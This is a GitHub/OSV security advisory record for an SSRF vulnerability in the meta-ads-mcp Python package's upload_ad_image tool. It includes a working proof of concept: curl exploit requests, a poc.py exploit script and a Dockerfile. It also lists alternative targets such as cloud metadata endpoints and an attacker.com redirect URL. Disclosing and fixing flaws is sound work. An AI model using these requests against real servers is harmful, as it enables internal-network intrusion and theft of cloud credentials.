1 line
23 KiB
JSON
1 line
23 KiB
JSON
{"schema_version":"1.9.0","id":"GHSA-45gf-fjxp-cjpq","published":"2026-07-17T18:47:31Z","modified":"2026-07-23T15:11:42.744080055Z","aliases":["CVE-2026-54549","PYSEC-2026-3485"],"summary":"meta-ads-mcp: Server-Side Request Forgery (SSRF) in `upload_ad_image` via Unrestricted `image_url` Fetch","details":"## Server-Side Request Forgery (SSRF) in `upload_ad_image` via Unrestricted `image_url` Fetch\n\n### Summary\n\nThe `upload_ad_image` MCP tool in `meta-ads-mcp` v1.0.113 passes an attacker-controlled `image_url` parameter directly to an HTTP fetch helper (`httpx.AsyncClient(follow_redirects=True).get(url)`) without any scheme, host, or IP address validation. When the server is deployed with the `streamable-http` transport (a documented, officially supported mode), an unauthenticated remote attacker can supply an arbitrary URL—including `http://127.0.0.1/`, RFC 1918 addresses, or cloud metadata endpoints such as `http://169.254.169.254/`—and cause the server to issue an outbound HTTP request to that target. The `Authorization` middleware only verifies that a non-empty Bearer token is present; actual Meta API credential validation occurs *after* the image download, so any dummy Bearer token bypasses the pre-fetch check. This constitutes a full, unauthenticated Server-Side Request Forgery with a confirmed CVSS 3.1 Base Score of 8.3 (High).\n\n### Details\n\n**Source**\n\n`meta_ads_mcp/core/ads.py`, line 1316–1322: The MCP tool `upload_ad_image` is registered with `@mcp_server.tool()` and exposes `image_url: Optional[str]` as a direct tool argument that is fully attacker-controlled over the network.\n\n```python\n# meta_ads_mcp/core/ads.py\n1316: @mcp_server.tool()\n1318: async def upload_ad_image(\n1322: image_url: Optional[str] = None,\n```\n\n**Propagation**\n\n`meta_ads_mcp/core/ads.py`, line 1389: The value is forwarded to `try_multiple_download_methods(image_url)` without any sanitization or validation.\n\n```python\n# meta_ads_mcp/core/ads.py\n1389: image_bytes = await try_multiple_download_methods(image_url)\n```\n\n**Sinks**\n\n`meta_ads_mcp/core/utils.py` contains three independent HTTP fetch paths, all using `httpx.AsyncClient` with `follow_redirects=True` and no URL, host, or IP validation:\n\n```python\n# meta_ads_mcp/core/utils.py\n166: async with httpx.AsyncClient(follow_redirects=True, timeout=30.0) as client:\n168: response = await client.get(url, headers=headers)\n\n214: async with httpx.AsyncClient(follow_redirects=True) as client:\n215: response = await client.get(url, headers=headers, timeout=30.0)\n\n224: async with httpx.AsyncClient(follow_redirects=True) as client:\n228: response = await client.get(url, timeout=30.0)\n```\n\n**Authorization bypass**\n\n`meta_ads_mcp/core/http_auth_integration.py`, lines 78–82: The middleware extracts any non-empty Bearer token value and places it into request context without validating it against Meta's API. The actual Meta OAuth token check (in `meta_ads_mcp/core/api.py:415`) occurs only after the image download completes, meaning the SSRF sink fires before any meaningful credential verification.\n\n**Absence of sanitization**\n\nA search for `urlparse`, `urlsplit`, `ipaddress`, `localhost`, `127.0.0.1`, `169.254`, `private`, `allowlist`, `blocklist`, or `is_global` in `meta_ads_mcp/core/ads.py` and `meta_ads_mcp/core/utils.py` returns no matches. No URL, scheme, hostname, or IP validation is present anywhere in the fetch path.\n\n**Transport exposure**\n\n`meta_ads_mcp/core/server.py`, line 219: The `--transport streamable-http` mode is a documented, officially supported deployment option (not a development-only stub), meaning the attack surface is reachable over the network in production deployments.\n\n### PoC\n\n**Environment setup**\n\n```bash\n# Build and run the Docker image (includes vulnerable meta-ads-mcp v1.0.113 and poc.py)\ndocker build -f vuln-001/Dockerfile \\\n -t meta-ads-ssrf-poc \\\n reports/pypiAi_615_pipeboard-co__meta-ads-mcp/\n\ndocker run --rm meta-ads-ssrf-poc\n# Exit code 0 = SSRF confirmed\n```\n\n**Manual reproduction (two terminals)**\n\n```bash\n# Terminal 1 — SSRF capture listener on port 9009\npython3 - <<'PY'\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nclass H(BaseHTTPRequestHandler):\n def do_GET(self):\n print(\"SSRF GET\", self.path, flush=True)\n body = b\"\\xff\\xd8\\xff\\xe0\\x00\\x10JFIF\\x00\\x01\\x01\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\xff\\xd9\"\n self.send_response(200)\n self.send_header(\"Content-Type\", \"image/jpeg\")\n self.send_header(\"Content-Length\", str(len(body)))\n self.end_headers()\n self.wfile.write(body)\nHTTPServer((\"127.0.0.1\", 9009), H).serve_forever()\nPY\n\n# Terminal 2 — start the vulnerable MCP server\nMETA_APP_ID=dummy META_APP_SECRET=dummy \\\n python3 -m meta_ads_mcp --transport streamable-http --host 0.0.0.0 --port 8080\n```\n\n**Exploit request**\n\n```bash\n# 1. Initialize MCP session\ncurl -sS -X POST http://127.0.0.1:8080/mcp \\\n -H \"Content-Type: application/json\" \\\n -H \"Accept: application/json, text/event-stream\" \\\n -H \"Authorization: Bearer dummy-token\" \\\n -d '{\"jsonrpc\":\"2.0\",\"method\":\"initialize\",\"id\":0,\"params\":{\"protocolVersion\":\"2024-11-05\",\"capabilities\":{},\"clientInfo\":{\"name\":\"poc\",\"version\":\"1.0\"}}}'\n\n# 2. Send SSRF payload — image_url points to internal listener\ncurl -sS -X POST http://127.0.0.1:8080/mcp \\\n -H \"Content-Type: application/json\" \\\n -H \"Accept: application/json, text/event-stream\" \\\n -H \"Authorization: Bearer dummy-token\" \\\n -d '{\n \"jsonrpc\": \"2.0\",\n \"method\": \"tools/call\",\n \"id\": 1,\n \"params\": {\n \"name\": \"upload_ad_image\",\n \"arguments\": {\n \"account_id\": \"act_123456789\",\n \"image_url\": \"http://127.0.0.1:9009/poc.jpg\"\n }\n }\n }'\n```\n\n**Expected result**\n\nTerminal 1 prints:\n```\nSSRF GET /poc.jpg\n```\n\nThe `curl` response returns an OAuth error from Meta (because the dummy token is invalid), but the inbound `GET /poc.jpg` request to the internal listener has already been received, confirming that the server-side fetch executes before any credential validation.\n\n**Confirmed runtime evidence (from Docker run)**\n\n```\n[SSRF LISTENER] Received GET '/poc.jpg' from 127.0.0.1 | User-Agent: 'curl/8.4.0'\n[PASS] SSRF CONFIRMED — MCP server issued 1 request(s) to 127.0.0.1:9009\n -> GET /poc.jpg | User-Agent: 'curl/8.4.0'\n```\n\n**Alternative targets**\n\nReplace `http://127.0.0.1:9009/poc.jpg` with:\n- `http://169.254.169.254/latest/meta-data/` — cloud instance metadata (AWS/GCP/Azure)\n- `http://10.0.0.1/` — RFC 1918 internal network services\n- `http://attacker.com/redirect` — a public URL that redirects to an internal target (exploitable via `follow_redirects=True`)\n\n### Impact\n\nThis is a Server-Side Request Forgery (SSRF) vulnerability. Any party capable of sending a JSON-RPC `tools/call` request to the MCP HTTP endpoint—using any non-empty Bearer token string—can instruct the server to make arbitrary outbound HTTP GET requests, including to:\n\n- **Localhost services**: databases, admin panels, internal APIs, and other processes bound to `127.0.0.1` on the host\n- **RFC 1918 / private network addresses**: internal microservices, Kubernetes control planes, cloud-internal load balancers\n- **Cloud instance metadata endpoints**: `http://169.254.169.254/` (AWS IMDSv1, GCP, Azure), potentially exposing IAM credentials, instance identity documents, and bootstrap secrets\n- **Redirect-chained internal targets**: any internal host reachable via a public-to-private redirect, because `follow_redirects=True` is set on all three fetch paths without re-validation at each hop\n\nThe SSRF fires *before* Meta API credential validation, so no valid Meta OAuth token is required. The impact spans confidentiality (internal data exfiltration), integrity (requests that trigger state-changing actions on internal services), and limited availability (internal service disruption).\n\nOperators deploying `meta-ads-mcp` with `--transport streamable-http` in environments co-located with sensitive internal services or cloud metadata services are directly at risk.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.11-slim\n\n# Install system build dependencies\nRUN apt-get update && \\\n apt-get install -y --no-install-recommends gcc && \\\n rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# Install pip and uv for fast dependency installation\nRUN pip install --upgrade pip && pip install uv\n\n# Install Python dependencies from the cloned repo\nCOPY repo/requirements.txt .\nRUN uv pip install --system -r requirements.txt\n\n# Copy the full application source (cloned repo)\nCOPY repo/ .\n\n# Install the package in editable mode (no extra deps, already installed above)\nRUN pip install --no-deps -e .\n\n# Copy the PoC exploit script into the image\nCOPY vuln-001/poc.py /poc.py\n\n# Run the PoC by default; exit code 0 = SSRF confirmed, 1 = not reproduced, 2 = setup error\nCMD [\"python3\", \"/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nProof-of-Concept: SSRF via upload_ad_image image_url in meta-ads-mcp v1.0.113\nCWE-918 - Server-Side Request Forgery (unrestricted server-side HTTP fetch)\n\nAttack flow:\n 1. Attacker sends tools/call for upload_ad_image with image_url=\"http://127.0.0.1:9009/poc.jpg\"\n 2. MCP server calls try_multiple_download_methods(image_url) with no URL validation\n 3. httpx.AsyncClient(follow_redirects=True).get(\"http://127.0.0.1:9009/poc.jpg\") fires\n 4. SSRF listener records the inbound GET, proving the server issued the request\n\nAuthorization bypass: only a non-empty Bearer token string is required before the fetch;\nthe actual Meta API credential check happens after the image download.\n\"\"\"\n\nimport threading\nimport subprocess\nimport time\nimport json\nimport sys\nimport socket\nimport os\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nimport httpx\n\n# ── Configuration ─────────────────────────────────────────────────────────────\nSSRF_PORT = 9009 # Port for the SSRF capture listener\nMCP_PORT = 8080 # Port for the vulnerable MCP server\nSSRF_PATH = \"/poc.jpg\" # Path that the MCP server will request (SSRF indicator)\n\n# ── Shared state ──────────────────────────────────────────────────────────────\nssrf_hits: list = []\nssrf_lock = threading.Lock()\n\n\n# ── SSRF capture listener ─────────────────────────────────────────────────────\n\nclass SSRFCaptureHandler(BaseHTTPRequestHandler):\n \"\"\"Records every inbound GET request made by the vulnerable MCP server.\"\"\"\n\n def do_GET(self):\n hit = {\n \"method\": \"GET\",\n \"path\": self.path,\n \"host\": self.client_address[0],\n \"user_agent\": self.headers.get(\"User-Agent\", \"\"),\n }\n with ssrf_lock:\n ssrf_hits.append(hit)\n print(\n f\"[SSRF LISTENER] Received GET {self.path!r}\"\n f\" from {self.client_address[0]}\"\n f\" | User-Agent: {hit['user_agent']!r}\",\n flush=True,\n )\n # Return a minimal valid JPEG so the server processes the response\n body = (\n b\"\\xff\\xd8\\xff\\xe0\\x00\\x10JFIF\\x00\\x01\\x01\\x00\\x00\\x01\\x00\\x01\\x00\\x00\"\n b\"\\xff\\xd9\"\n )\n self.send_response(200)\n self.send_header(\"Content-Type\", \"image/jpeg\")\n self.send_header(\"Content-Length\", str(len(body)))\n self.end_headers()\n self.wfile.write(body)\n\n def log_message(self, fmt, *args):\n pass # Suppress default access log to keep output clean\n\n\ndef start_ssrf_listener() -> None:\n server = HTTPServer((\"127.0.0.1\", SSRF_PORT), SSRFCaptureHandler)\n server.serve_forever()\n\n\n# ── Helpers ───────────────────────────────────────────────────────────────────\n\ndef wait_for_port(host: str, port: int, timeout: float = 30.0) -> bool:\n \"\"\"Poll until the TCP port is accepting connections or timeout expires.\"\"\"\n deadline = time.time() + timeout\n while time.time() < deadline:\n try:\n with socket.create_connection((host, port), timeout=1.0):\n return True\n except (ConnectionRefusedError, OSError):\n time.sleep(0.5)\n return False\n\n\ndef mcp_post(\n method: str,\n params: dict,\n req_id: int,\n session_id: str | None = None,\n) -> httpx.Response:\n \"\"\"Send a single JSON-RPC 2.0 request to the MCP streamable-HTTP endpoint.\n\n Path is /mcp (no trailing slash) — FastMCP 1.23.0 redirects /mcp/ → /mcp\n with HTTP 307, so we skip the redirect by targeting the canonical path directly.\n Accept header must include text/event-stream; without it the server returns 406.\n \"\"\"\n headers = {\n \"Content-Type\": \"application/json\",\n # MCP streamable-HTTP requires both JSON and SSE in Accept; omitting\n # text/event-stream causes HTTP 406 from the FastMCP uvicorn handler.\n \"Accept\": \"application/json, text/event-stream\",\n # Dummy Bearer token — the middleware only checks that it is non-empty;\n # Meta API credential validation happens AFTER the image download (SSRF sink).\n \"Authorization\": \"Bearer dummy-ssrf-poc-token\",\n }\n if session_id:\n headers[\"Mcp-Session-Id\"] = session_id\n\n payload = {\"jsonrpc\": \"2.0\", \"method\": method, \"id\": req_id, \"params\": params}\n with httpx.Client(timeout=30.0) as client:\n return client.post(\n f\"http://127.0.0.1:{MCP_PORT}/mcp\", # no trailing slash\n json=payload,\n headers=headers,\n )\n\n\n# ── Main PoC ──────────────────────────────────────────────────────────────────\n\ndef main() -> int:\n print(\"=\" * 65, flush=True)\n print(\"VULN-001 PoC — SSRF in meta-ads-mcp upload_ad_image (v1.0.113)\", flush=True)\n print(\"CWE-918 | CVSS 8.3 | image_url fetch has zero URL validation\", flush=True)\n print(\"=\" * 65, flush=True)\n\n # ── Step 1: Start the SSRF capture listener ────────────────────────────\n t = threading.Thread(target=start_ssrf_listener, daemon=True)\n t.start()\n time.sleep(0.3)\n print(f\"[+] SSRF capture listener running on 127.0.0.1:{SSRF_PORT}\", flush=True)\n\n # ── Step 2: Start the vulnerable MCP server ────────────────────────────\n env = os.environ.copy()\n # Dummy credentials so the server starts; the Meta API is only called after\n # the image has already been fetched (i.e., after the SSRF fires).\n env.setdefault(\"META_APP_ID\", \"poc-dummy-app-id\")\n env.setdefault(\"META_APP_SECRET\", \"poc-dummy-secret\")\n env.setdefault(\"PIPEBOARD_API_TOKEN\", \"\")\n\n proc = subprocess.Popen(\n [\n sys.executable, \"-m\", \"meta_ads_mcp\",\n \"--transport\", \"streamable-http\",\n \"--host\", \"127.0.0.1\",\n \"--port\", str(MCP_PORT),\n ],\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT,\n text=True,\n env=env,\n cwd=\"/app\",\n )\n print(f\"[*] Waiting for MCP server to bind on 127.0.0.1:{MCP_PORT} ...\", flush=True)\n\n # ── Step 3: Wait for server readiness ─────────────────────────────────\n if not wait_for_port(\"127.0.0.1\", MCP_PORT, timeout=30):\n try:\n out, _ = proc.communicate(timeout=5)\n except subprocess.TimeoutExpired:\n out = \"\"\n print(f\"[FAIL] MCP server did not start within 30 s.\\nServer output:\\n{out}\", flush=True)\n return 2\n print(f\"[+] MCP server is up on 127.0.0.1:{MCP_PORT}\", flush=True)\n time.sleep(0.5)\n\n # ── Step 4: MCP protocol initialization ───────────────────────────────\n # The streamable-HTTP transport requires a brief initialize / initialized\n # handshake before accepting tool calls.\n session_id = None\n try:\n resp = mcp_post(\n \"initialize\",\n {\n \"protocolVersion\": \"2024-11-05\",\n \"capabilities\": {},\n \"clientInfo\": {\"name\": \"ssrf-poc\", \"version\": \"1.0\"},\n },\n req_id=0,\n )\n print(f\"[*] initialize -> HTTP {resp.status_code}\", flush=True)\n session_id = resp.headers.get(\"Mcp-Session-Id\")\n if session_id:\n print(f\"[*] Session ID: {session_id}\", flush=True)\n notif_headers = {\n \"Content-Type\": \"application/json\",\n \"Authorization\": \"Bearer dummy-ssrf-poc-token\",\n \"Mcp-Session-Id\": session_id,\n }\n notif_payload = {\n \"jsonrpc\": \"2.0\",\n \"method\": \"notifications/initialized\",\n \"params\": {},\n }\n with httpx.Client(timeout=10.0) as client:\n nr = client.post(\n f\"http://127.0.0.1:{MCP_PORT}/mcp\", # no trailing slash\n json=notif_payload,\n headers=notif_headers,\n )\n print(f\"[*] notifications/initialized -> HTTP {nr.status_code}\", flush=True)\n except Exception as exc:\n print(f\"[*] Initialization step error (non-fatal): {exc}\", flush=True)\n\n # ── Step 5: Send the SSRF exploit payload ─────────────────────────────\n ssrf_url = f\"http://127.0.0.1:{SSRF_PORT}{SSRF_PATH}\"\n print(f\"\\n[*] Sending exploit request ...\", flush=True)\n print(f\" method : tools/call\", flush=True)\n print(f\" tool : upload_ad_image\", flush=True)\n print(f\" image_url : {ssrf_url} <-- SSRF payload\", flush=True)\n print(f\" Authorization : Bearer dummy-ssrf-poc-token (not validated before fetch)\", flush=True)\n\n try:\n resp = mcp_post(\n \"tools/call\",\n {\n \"name\": \"upload_ad_image\",\n \"arguments\": {\n \"account_id\": \"act_123456789\",\n \"image_url\": ssrf_url,\n },\n },\n req_id=1,\n session_id=session_id,\n )\n print(f\"\\n[*] tools/call -> HTTP {resp.status_code}\", flush=True)\n print(f\"[*] Response preview (first 400 chars):\\n{resp.text[:400]}\", flush=True)\n except Exception as exc:\n print(f\"[*] tools/call exception: {exc}\", flush=True)\n\n # ── Step 6: Allow time for async fetch to complete ────────────────────\n time.sleep(4)\n proc.terminate()\n\n # ── Step 7: Evaluate and report ───────────────────────────────────────\n print(\"\\n\" + \"=\" * 65, flush=True)\n with ssrf_lock:\n hits = list(ssrf_hits)\n\n if hits:\n print(\n f\"[PASS] SSRF CONFIRMED — MCP server issued {len(hits)} request(s) to\"\n f\" 127.0.0.1:{SSRF_PORT}\",\n flush=True,\n )\n for h in hits:\n print(\n f\" -> {h['method']} {h['path']}\"\n f\" | User-Agent: {h['user_agent']!r}\",\n flush=True,\n )\n print(\n \"\\nConclusion: upload_ad_image passes attacker-controlled image_url to\"\n \" httpx.AsyncClient(follow_redirects=True).get(url) without any scheme,\"\n \" host, or IP validation. Internal services are reachable via SSRF.\",\n flush=True,\n )\n print(\"=\" * 65, flush=True)\n return 0\n else:\n print(\n f\"[FAIL] No requests received on SSRF listener at 127.0.0.1:{SSRF_PORT}.\",\n flush=True,\n )\n print(\"=\" * 65, flush=True)\n return 1\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```","affected":[{"package":{"name":"meta-ads-mcp","ecosystem":"PyPI","purl":"pkg:pypi/meta-ads-mcp"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.115"}]}],"versions":["0.1.0","0.10.0","0.10.1","0.10.2","0.10.5","0.10.6","0.10.7","0.10.9","0.11.0","0.11.1","0.11.2","0.11.3","0.11.4","0.11.5","0.11.6","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.2.6","0.2.8","0.2.9","0.3.0","0.3.1","0.3.10","0.3.2","0.3.3","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","0.4.8","0.4.9","0.5.0","0.6.0","0.7.0","0.7.1","0.7.10","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","0.7.8","0.7.9","0.8.0","0.9.0","0.9.1","0.9.2","0.9.3","1.0.0","1.0.1","1.0.10","1.0.100","1.0.101","1.0.102","1.0.103","1.0.104","1.0.105","1.0.106","1.0.107","1.0.108","1.0.109","1.0.11","1.0.110","1.0.111","1.0.112","1.0.113","1.0.12","1.0.13","1.0.15","1.0.16","1.0.17","1.0.18","1.0.19","1.0.2","1.0.20","1.0.21","1.0.22","1.0.23","1.0.24","1.0.25","1.0.26","1.0.27","1.0.28","1.0.29","1.0.3","1.0.30","1.0.31","1.0.33","1.0.34","1.0.35","1.0.36","1.0.38","1.0.39","1.0.4","1.0.40","1.0.41","1.0.42","1.0.43","1.0.44","1.0.45","1.0.46","1.0.47","1.0.48","1.0.49","1.0.5","1.0.50","1.0.51","1.0.52","1.0.53","1.0.54","1.0.55","1.0.56","1.0.57","1.0.58","1.0.59","1.0.6","1.0.60","1.0.61","1.0.62","1.0.63","1.0.64","1.0.65","1.0.66","1.0.67","1.0.68","1.0.69","1.0.7","1.0.70","1.0.71","1.0.72","1.0.73","1.0.74","1.0.75","1.0.76","1.0.77","1.0.78","1.0.79","1.0.8","1.0.80","1.0.81","1.0.82","1.0.83","1.0.84","1.0.85","1.0.86","1.0.87","1.0.88","1.0.89","1.0.90","1.0.91","1.0.92","1.0.93","1.0.94","1.0.95","1.0.96","1.0.97","1.0.98","1.0.99"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-45gf-fjxp-cjpq/GHSA-45gf-fjxp-cjpq.json"}}],"references":[{"type":"WEB","url":"https://github.com/pipeboard-co/meta-ads-mcp/security/advisories/GHSA-45gf-fjxp-cjpq"},{"type":"WEB","url":"https://github.com/pipeboard-co/meta-ads-mcp/commit/7d9926336bbdac6285a988d043c4ccfe126c94c5"},{"type":"PACKAGE","url":"https://github.com/pipeboard-co/meta-ads-mcp"},{"type":"WEB","url":"https://github.com/pipeboard-co/meta-ads-mcp/releases/tag/1.0.115"}],"database_specific":{"cwe_ids":["CWE-918"],"github_reviewed":true,"github_reviewed_at":"2026-07-17T18:47:31Z","nvd_published_at":null,"severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L"}]} |